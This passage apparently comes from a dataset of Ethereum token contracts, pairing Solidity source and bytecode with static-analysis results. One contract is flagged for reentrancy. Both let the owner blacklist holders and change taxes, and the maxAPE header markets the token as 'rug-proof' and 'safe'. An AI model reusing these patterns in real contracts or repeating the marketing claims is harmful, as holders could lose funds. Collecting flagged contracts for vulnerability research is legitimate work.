_rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 5_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 5_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034f578063c3c8cd801461036f578063c9567bf914610384578063dbe8272c14610399578063dc1052e2146103b9578063dd62ed3e146103d957600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f1461031a578063a9059cbb1461032f57600080fd5b806323b872dd116100f257806323b872dd14610218578063273123b714610238578063313ce567146102585780636fc3eaec1461027457806370a082311461028957600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461187c565b61041f565b005b34801561016857600080fd5b5060408051808201909152600c81526b4261627920556b7261696e6560a01b60208201525b60405161019a91906118f9565b60405180910390f35b3480156101af57600080fd5b506101c36101be36600461178a565b610470565b604051901515815260200161019a565b3480156101df57600080fd5b5067016345785d8a00005b60405190815260200161019a565b34801561020457600080fd5b5061015a6102133660046118b4565b610487565b34801561022457600080fd5b506101c361023336600461174a565b6104c9565b34801561024457600080fd5b5061015a6102533660046116da565b610532565b34801561026457600080fd5b506040516009815260200161019a565b34801561028057600080fd5b5061015a61057d565b34801561029557600080fd5b506101ea6102a43660046116da565b6105b1565b3480156102b557600080fd5b5061015a6105d3565b3480156102ca57600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f257600080fd5b5060408051808201909152600b81526a42414259554b5241494e4560a81b602082015261018d565b34801561032657600080fd5b5061015a610647565b34801561033b57600080fd5b506101c361034a36600461178a565b610886565b34801561035b57600080fd5b5061015a61036a3660046117b5565b610893565b34801561037b57600080fd5b5061015a610937565b34801561039057600080fd5b5061015a610977565b3480156103a557600080fd5b5061015a6103b43660046118b4565b610b3d565b3480156103c557600080fd5b5061015a6103d43660046118b4565b610b75565b3480156103e557600080fd5b506101ea6103f4366004611712565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104525760405162461bcd60e51b81526004016104499061194c565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047d338484610bad565b5060015b92915050565b6000546001600160a01b031633146104b15760405162461bcd60e51b81526004016104499061194c565b6611c37937e080008111156104c65760108190555b50565b60006104d6848484610cd1565b610528843361052385604051806060016040528060288152602001611aca602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc8565b610bad565b5060019392505050565b6000546001600160a01b0316331461055c5760405162461bcd60e51b81526004016104499061194c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b81526004016104499061194c565b476104c681611002565b6001600160a01b0381166000908152600260205260408120546104819061103c565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016104499061194c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b81526004016104499061194c565b600f54600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610449565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072b57600080fd5b505afa15801561073f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076391906116f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ab57600080fd5b505afa1580156107bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e391906116f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082b57600080fd5b505af115801561083f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086391906116f6565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047d338484610cd1565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016104499061194c565b60005b8151811015610933576001600660008484815181106108ef57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092b81611a5f565b9150506108c0565b5050565b6000546001600160a01b031633146109615760405162461bcd60e51b81526004016104499061194c565b600061096c306105b1565b90506104c6816110c0565b6000546001600160a01b031633146109a15760405162461bcd60e51b81526004016104499061194c565b600e546109c19030906001600160a01b031667016345785d8a0000610bad565b600e546001600160a01b031663f305d71947306109dd816105b1565b6000806109f26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5557600080fd5b505af1158015610a69573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8e91906118cc565b5050600f80546611c37937e0800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c69190611898565b6000546001600160a01b03163314610b675760405162461bcd60e51b81526004016104499061194c565b600f8110156104c657600b55565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b81526004016104499061194c565b600f8110156104c657600c55565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610449565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610449565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610449565b6001600160a01b038216610d975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610449565b60008111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610449565b6001600160a01b03831660009081526006602052604090205460ff1615610e1f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6157506001600160a01b03821660009081526005602052604090205460ff16155b15610fb8576000600955600c54600a55600f546001600160a01b038481169116148015610e9c5750600e546001600160a01b03838116911614155b8015610ec157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed65750600f54600160b81b900460ff165b15610eea57601054811115610eea57600080fd5b600f546001600160a01b038381169116148015610f155750600e546001600160a01b03848116911614155b8015610f3a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4b576000600955600b54600a555b6000610f56306105b1565b600f54909150600160a81b900460ff16158015610f815750600f546001600160a01b03858116911614155b8015610f965750600f54600160b01b900460ff165b15610fb657610fa4816110c0565b478015610fb457610fb447611002565b505b505b610fc3838383611265565b505050565b60008184841115610fec5760405162461bcd60e51b815260040161044991906118f9565b506000610ff98486611a48565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610933573d6000803e3d6000fd5b60006007548211156110a35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610449565b60006110ad611270565b90506110b98382611293565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116a57600080fd5b505afa15801561117e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a291906116f6565b816001815181106111c357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e99130911684610bad565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611222908590600090869030904290600401611981565b600060405180830381600087803b15801561123c57600080fd5b505af1158015611250573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc38383836112d5565b600080600061127d6113cc565b909250905061128c8282611293565b9250505090565b60006110b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b6000806000806000806112e78761143a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113199087611497565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134890866114d9565b6001600160a01b03891660009081526002602052604090205561136a81611538565b6113748483611582565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b991815260200190565b60405180910390a3505050505050505050565b600754600090819067016345785d8a00006113e78282611293565b8210156114035750506007549267016345785d8a000092509050565b90939092509050565b6000818361142d5760405162461bcd60e51b815260040161044991906118f9565b506000610ff98486611a09565b60008060008060008060008060006114578a600954600a546115a6565b9250925092506000611467611270565b9050600080600061147a8e8787876115fb565b919e509c509a509598509396509194505050505091939550919395565b60006110b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc8565b6000806114e683856119f1565b9050838110156110b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610449565b6000611542611270565b90506000611550838361164b565b3060009081526002602052604090205490915061156d90826114d9565b30600090815260026020526040902055505050565b60075461158f9083611497565b60075560085461159f90826114d9565b6008555050565b60008080806115c060646115ba898961164b565b90611293565b905060006115d360646115ba8a8961164b565b905060006115eb826115e58b86611497565b90611497565b9992985090965090945050505050565b600080808061160a888661164b565b90506000611618888761164b565b90506000611626888861164b565b90506000611638826115e58686611497565b939b939a50919850919650505050505050565b60008261165a57506000610481565b60006116668385611a29565b9050826116738583611a09565b146110b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610449565b80356116d581611aa6565b919050565b6000602082840312156116eb578081fd5b81356110b981611aa6565b600060208284031215611707578081fd5b81516110b981611aa6565b60008060408385031215611724578081fd5b823561172f81611aa6565b9150602083013561173f81611aa6565b809150509250929050565b60008060006060848603121561175e578081fd5b833561176981611aa6565b9250602084013561177981611aa6565b929592945050506040919091013590565b6000806040838503121561179c578182fd5b82356117a781611aa6565b946020939093013593505050565b600060208083850312156117c7578182fd5b823567ffffffffffffffff808211156117de578384fd5b818501915085601f8301126117f1578384fd5b81358181111561180357611803611a90565b8060051b604051601f19603f8301168101818110858211171561182857611828611a90565b604052828152858101935084860182860187018a1015611846578788fd5b8795505b8386101561186f5761185b816116ca565b85526001959095019493860193860161184a565b5098975050505050505050565b60006020828403121561188d578081fd5b81356110b981611abb565b6000602082840312156118a9578081fd5b81516110b981611abb565b6000602082840312156118c5578081fd5b5035919050565b6000806000606084860312156118e0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192557858101830151858201604001528201611909565b818111156119365783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0457611a04611a7a565b500190565b600082611a2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4357611a43611a7a565b500290565b600082821015611a5a57611a5a611a7a565b500390565b6000600019821415611a7357611a73611a7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c657600080fd5b80151581146104c657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce8d9615c86fcdf8cfe034cb9ffc84c6972f69d8e9dc42eab30ca426a775d78064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,433
0x76c84e256479a0f14de3f2a4842cfd5c092ed401
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /* CALLING ALL DEGEN APES!! THIS IS YOUR STEALTH, RUG-PROOF, SAFE MOON-MISSION. We present the CHAD of all APES.... maxAPE!!! Name: t.me/maxAPE Symbol: maxAPE Total Supply: 1,000,000,000,000 Decimals: 9 30% Burn, 70% LP - Developer provides LP - No Presale - No Team Tokens - Locked LP - 100% Fair Launch - No Team & Marketing wallet. 100% of the tokens will come on the market for trade. - No presale wallets that can dump on the community. Telegram: t.me/maxAPE Website: TBA */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MAXAPE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "t.me/maxAPE"; string private constant _symbol = 'maxAPE'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = 